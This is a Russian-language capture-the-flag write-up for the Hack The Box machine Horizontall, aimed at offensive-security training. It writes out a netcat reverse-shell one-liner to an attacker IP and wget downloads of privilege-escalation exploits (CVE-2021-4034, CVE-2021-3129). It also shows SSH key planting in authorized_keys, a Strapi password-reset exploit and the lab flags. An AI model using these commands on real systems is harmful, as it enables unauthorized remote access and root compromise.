# HTB Horizontall Practic Network Infrastructure Attack Поиск http сервисов ![](https://i.imgur.com/xpTmNvf.png) Смотрим стек технологий с помощью whatweb ![](https://i.imgur.com/iMkXH7t.png) Переберем директории с помощью gobuster ![](https://i.imgur.com/vIsVL1Y.png) ![](https://i.imgur.com/0y9in53.png) Перебираем виртуальные хосты с помощью gobuster ![](https://i.imgur.com/Bfoi6SQ.png) **whatweb** - Находим работающие сервисы Находим Strapi <strapi.io> ![](https://i.imgur.com/MFMXNje.png) Новое веб-приложение - Переберем директории с помощью gobuster ![](https://i.imgur.com/L3wzrpG.png) Находим в папке Admin strapi ![](https://i.imgur.com/3eNJ6hG.png) Далее ищем эксплойты на strapi.io Нашли https://www.exploit-db.com/exploits/50239 Скачали ## Эксплуатация Запишем в файл nano /etc/hosts api-prod.horizontall.htb c ip машины Запускаем эксплойт python3 50239.py http://api-prod.horizontall.htb Эксплойт отработал, сбросил пароль администратора, назначил дефолтный пароль и выдал новый токен ![](https://i.imgur.com/7dYNF6v.png) ![](https://i.imgur.com/Br3THTR.png) Проверяем работает ли эксплойт, пингуем сами себя ![](https://i.imgur.com/G8UMXnh.png) Т.к. данный экслойт слепой, мы поищем возможность получить reverce shell Cмотрим payload all the things на ресурсе https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md Есть большое кол-во реверс шеллов, но в данном случае будем использовать Netcat BusyBox * Поднимем Listener nc -nlvp 1234 * Инициализируем подключение командой rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f вывод команд через файл (rm /tmp/f;mknod /tmp/f p;cat /tmp/f) ![](https://i.imgur.com/KSO31WE.png) * Для удобства перейдем в bash.(заспавнили баш) python3 -c 'import pty;pty.spawn("/bin/bash")' ![](https://i.imgur.com/rIOMvHn.png) ### Повышаем привилегии с помощью linpeas скачиваем на хост wget https://github.com/carlospolop/PEASS-ng/releases/download/20220529/linpeas.sh поднимаем сервер скачиваем linpeas на атакуемую машину ![](https://i.imgur.com/deSWHfm.png) запускаем bash linpeas.sh Нашли CVE-2021-4034 Vulnerable to CVE-2021-4034 скачали c гугла перешли сконструировали эксплойт упаковали в архив ![](https://i.imgur.com/bqxkl3T.png) ![](https://i.imgur.com/Bdamttv.png) Теперь поднимаем сервер и скачиваем на атакуемую машину эксплойт * wget http://10.10.14.19/exploit.tar ![](https://i.imgur.com/maKlTjv.png) Распаковываем и даем права на исполнение * tar -xvf exp.tar * chmod + cve-2021-4034 Запускаем * ./cve-2021-4034 ![](https://i.imgur.com/A6AbQ3T.png) **Получили Root, через CVE** Нашли файл User.txt 8aca5b99e667756f08133d261bea5ac0 ![](https://i.imgur.com/AQepoQH.png) нашли Root flag 69e2a85d1967b3221f785872ad1a8e39 ![](https://i.imgur.com/ovL7tFz.png) ____________________________ ## Laravel Повысить привилегии на машине Horizontall до root через проброс порта **через SSH-туннель** и эксплуатацию RCE-уязвимости в **Laravel**. ![](https://i.imgur.com/kK0tEk0.png) Cмотрим открытые порты на машине * netstat -a * ss -tnlp Выдергиваем curl код страницы * curl localhost:8000 ![](https://i.imgur.com/B0mX8zf.png) генерим ssh ключ * ssh-keygen переходим в .ssh копируем сгенерированный ключ с id_rsa.pub ![](https://i.imgur.com/nD0n892.png) вставляем код на атакуемую машину в папку .ssh в файл authorized_keys ``` echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGS5Yii1/OSfYc2bVq2lbDHQNUgDUVEczgsbt4BT9Bu5KOLaYJwf6e0nvIM99cnKTh0aVAGY0paTzCDDXi2j5g6lTq+fvdHS6Ts1L2Q27KGZ4Of5SjdFGSOfajGfvasw4L6huWL/+2M6vqxyVr8V1+RP5v7hSd/xfYqi0VsmlvtDhAN2Ob0opPizqqt2dM5Kq9JweMpNEnbk73Y9mZ1nyOaIEwm4t8T4e6Xx1dvgwxDDNywYd+1su0xyVHNJKb5RgbkhXaWRr8G0ewL7ID30vGjKn5SggoynY4AFZt4PrrRqiYMwgx0SsX8DGJWOKWNMe9mt1+yrVq4XbqSls0MzVO/GUqDCz+5Mmfu+JxsqpRr6djp8VM3NIrMJoapshxvP2qaZIKl0WbAvkOnIo2tPnP+9KiZSKTgJBfyB0NrZ3Nu9hqnQGaU+HO3HVmQTdyXLVbvztjqGRIyHiSw/szXu0qS/35nAqeVw8sWZOMW4DWtndPVThq03G4A3fWTDxBBg0= root@kali" >> authorized_keys ``` ![](https://i.imgur.com/inzMfQ8.png) Генерим ssh ключ на атакуемой машине Вставляем его в файл authorized_keys (Получается на атакуемой машине в файле находятся 2 ключа) ``` echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe8VVEHbc4ih16AWJRimT+97O0yBzA1qHNfNinB/Luzt6ZvMve63eJ+PqgMdetEuhNScz9n0IBx8EphgHWIoWpNSMw4nJDnRZbqKVbZW/IRahilUMX0NSEHoyBiQDG07qNn/IsZRZwDDT+bmkgaBQDph5oqO1fOetlFyJvZ5kPwH/2jI1NJxKZ7E3lFVOeR9hp5NumUgzbN5xeFVs8twChygvs95OTXc8ji+sntAzIMJTx4sxsnJPY7gMcgvlAINWHalhzmQDAw5LROdIggPq7vjxY1NU8GxwqTEA2/V7qqPUDJQY0N9jaMaf1S/lhNAh0aCU/stxV6tR+iX0qvsaH strapi@horizontall" >> authorized_keys ``` ![](https://i.imgur.com/jKhtp2M.png) ![](https://i.imgur.com/DU3fMYt.png) Далее мы перенаправляем наш порт на порт злоумышленника ssh -L 8000:127.0.0.1:8000 strapi@horizontall.htb ![](https://i.imgur.com/ZcPJgYM.png) Переходим в браузер и октрываем 127.0.0.1:8000 ![](https://i.imgur.com/XGVnoa9.png) С помощью searchsploit мы поищем узявимости на laravel ![](https://i.imgur.com/fx1Lbei.png) Попробовал получить флаг рута с помощью эксплойта 49424.py Но выдал ошибку и закрыл ssh соединение ![](https://i.imgur.com/hJrLHOl.png) Воспользуемся эксплойтом **CVE-2021-3129** https://github.com/nth347/CVE-2021-3129_exploit скачаем его на хост * git clone https://github.com/nth347/CVE-2021-3129_exploit.git Перейдем в папку * cd CVE-2021-3129_exploit дадим права * chmod +x exploit.py Запускаем скрипт с выводом ID * ./exploit.py http://localhost:8000 Monolog/RCE1 id ![](https://i.imgur.com/0mdKteF.png) ![](https://i.imgur.com/FEubNrk.png) Получили доступ Рута.